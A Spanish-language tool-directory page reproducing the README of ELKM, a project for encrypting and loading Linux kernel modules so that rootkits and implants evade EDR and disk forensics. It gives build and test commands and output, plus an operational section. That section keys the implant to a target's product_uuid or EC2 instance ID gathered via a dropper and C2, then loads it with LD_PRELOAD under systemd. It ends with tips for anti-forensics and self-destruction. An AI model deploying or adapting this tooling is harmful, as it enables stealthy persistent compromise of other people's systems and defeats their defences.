Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
Herramientas/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Escalada de PrivilegiosHerramientas de Cifrado/DescifradoMecanismos de PersistenciaEvasión de IDS/IPSPost-ExplotaciónComando y ControlRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Ver Repositorio
133hace 5 añosAún no revisado

ELKM: Módulos de kernel cargables cifrados para Linux x86-64

ELKM proporciona un mecanismo para transportar y cargar de forma segura Módulos de Kernel Cargables (LKM) cifrados. El objetivo es proteger rootkits e implantes basados en kernel contra la observación por parte del software de Detección y Respuesta de Endpoints (EDR) y neutralizar los efectos de la recuperación mediante herramientas de análisis forense de disco.

RHEL/CentOS 7

ELKM fue escrito específicamente para RHEL/CentOS 7 x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Preparar el entorno de compilación

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Pruebas automatizadas locales

El script de prueba realiza 4 pruebas:

  • Contraseña proporcionada mediante /sys/class/dmi/id/product_uuid
  • Contraseña proporcionada a través de http://169.254.169.254/latest/meta-data/instance-id (cuando se está en EC2)
  • Contraseña proporcionada mediante el entorno
  • Contraseña proporcionada a través de stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Compilar y crear manualmente el payload de prueba

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Operativo

Vincular ELKM a un sistema específico

Mediante product_uuid

En el sistema de destino:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Nota: esto debe realizarse de forma automatizada, p. ej., mediante un dropper. Envíe el product_uuid a la infraestructura de staging a través de C2.

En la infraestructura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

En el sistema de destino, descargue el loader desde la infraestructura de staging y ejecútelo mediante un ejecutable de confianza:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Mediante el ID de instancia de EC2

En el sistema de destino:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Nota: esto debe realizarse de forma automatizada, p. ej., mediante un dropper. Envíe el ID de instancia a la infraestructura de staging a través de C2.

En la infraestructura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

En el sistema de destino, descargue el loader desde la infraestructura de staging y ejecútelo mediante un ejecutable de confianza:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Para establecer la contraseña para usarla con el entorno o shell interactivo

En la infraestructura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

En el sistema de destino, mediante el entorno:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

O a través de stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Consejos

Algunos consejos si desea desplegar ELKM operativamente:

  • No compilar con 'debug'
  • Cambiar los nombres de las funciones
  • Implementar más técnicas antiforenses
  • Considere reemplazar OpenSSL por otra biblioteca criptográfica
  • Implementar un modo de autodestrucción cuando las contraseñas fallan

Elegimos no implementar estas características para evitar el fingerprinting.

Descargar herramienta